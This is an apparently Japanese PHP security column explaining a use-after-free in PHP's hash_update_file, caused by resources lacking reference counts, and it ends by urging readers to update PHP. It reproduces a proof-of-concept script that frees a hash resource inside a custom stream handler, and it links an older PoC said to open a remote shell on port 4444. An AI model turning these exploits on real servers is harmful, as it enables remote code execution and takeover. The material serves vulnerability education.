なぜPHPアプリにセキュリティホールが多いのか?

第35回MOPS:未修正のバグ

第32回 PHPセキュリティ月間(Month of PHP Sercurity)「PHPセキュリティ月間」MOPS - Month of PHP Securityについて簡単に紹介しました。

今回はMOPSの最初のバグとして取り扱われたhash_update_file関数の解放済リソースへのアクセスについて解説します。この問題は2007年のMOPBでも指摘された古い脆弱性です。php-security.orgのページでは、レポート作成時の最新版である、PHP5.3.2以下、PHP 5.2.13以下に影響があると記載されていますが、執筆時点の最新版であるPHP 5.3.3/PHP 5.2.14でも修正されていません。2007年のMOPBで指摘されていますが、この問題の修正には非常に多くの修正が必要であり、簡単ではないからです。

hash_update_file関数の解放済リソースへのアクセス

PHPにはリソース型と呼ばれる特別なデータ型があります。リソース型の変数はデータベース接続やファイルハンドル、共有メモリなどの取得と解放が必要なデータソースを適切に管理するためのデータ型です。

PHPのリソース型は、複数の変数が同じリソースを参照する可能性があります。しかし、リソース自体にリファレンスカウント(実際に利用している数のカウント)が実装されていないため、既に解放してしまったリソースに対してアクセスできてしまう問題があります。

以下のコードはMOPSサイトに掲載されていたPoCです。シェルコードをメモリに書き込まず、オフセットの値がいい加減であるため通常はクラッシュするだけです。

<?php
  define("OFFSET", pack("L",0x55555555));

  class AttackStream {
    function stream_open($path, $mode, $options, &$opened_path)
    {
      return true;
    }

    function stream_read($count)
    {
      hash_final($GLOBALS['hid'], true);
      $GLOBALS['aaaaaaaaaaaaaaaaaaaaaa'] = str_repeat(OFFSET, 3);
      return "A";
    }

    function stream_eof()
    {
      return true;
    }

    function stream_seek($offset, $whence)
    {
               return false;
    }
  }

  stream_wrapper_register("attack", "AttackStream") or die("Failed to register protocol");

  $hid = hash_init('md5');
  hash_update_file($hid, "attack://nothing");
?>

ユーザ定義ストリームハンドラ用のクラスが定義され、stream_readメソッドを呼び出したときにhashモジュールのリソースである$hidが、

hash_final($GLOBALS['hid'], true);

の行で削除されてしまいます。

hash_update_file($hid, "attack://nothing");

ストリームハンドラの内部で$hidが解放済みですが、スクリプトが終了したときに$hidが削除され、その際にまたリソースの解放が行われます。このため、ほかのメモリ読み書きが可能な脆弱性を利用して細工したデータを書き込み、正しいOFFSETを渡すと、任意コードの実行が可能となります。

この脆弱性の攻撃方法

MOPSの情報だけではこの脆弱性がどのように危険なのか分かりづらいです。MOPBではこの脆弱性を利用してネットワークポート番号4444で待機しシェルアクセスできるPoCが公開されています。ファイアーウォールで保護されてないサーバであれば容易にリモートからWebサーバ権限でシステムのシェルにアクセスできてしまいます。

MOPB-28-2007.php
http://www.php-security.org/MOPB/code/MOPB-28-2007.php

このPoCは正しいオフセットを計算するためにsubstr_compare関数の脆弱性を利用していますが、現在のPHPでは修正されているので実際には動作しません。しかし、別の脆弱性を利用してシェルコードを書き込み、正しいオフセットを計算することができれば攻撃できることを理解できると思います。リモート/ローカルファイルインクルード、eval関数等によるコード実行やコマンド実行脆弱性などを利用すればサーバの乗っ取り等に利用される可能性があります。

シェルコードを書くにはそれなりのスキルが必要ですが、非常に便利なサイトが利用可能です。例えば、

を参照すれば自分でシェルコードを記述することなく、さまざまなプラットフォーム、OS用のシェルコードが入手できます。

ほかの攻撃手法

この例ではPHPストリームのハンドラを利用していますが、PHPにはエラー/例外ハンドラ、出力バッファハンドラなどの、通常のPHPスクリプトの実行パスとは関係なく割り込んで実行させることが可能な機能がこの攻撃に利用される可能性があります。

まとめ

evalやinclude文によるコード実行が致命的であるには変わりありませんが、任意コード実行の脆弱性を利用すればOSの脆弱性を攻撃して権限を昇格させるなどの更なる攻撃が行われるリスクが発生します。PHPの脆弱性を放置していたために思いもよらない攻撃にまで発展する可能性は十分にあります。セキュリティ対策の基本どおりに常に最新版にアップデートしたPHPを利用するように努力しましょう。

おすすめ記事

記事・ニュース一覧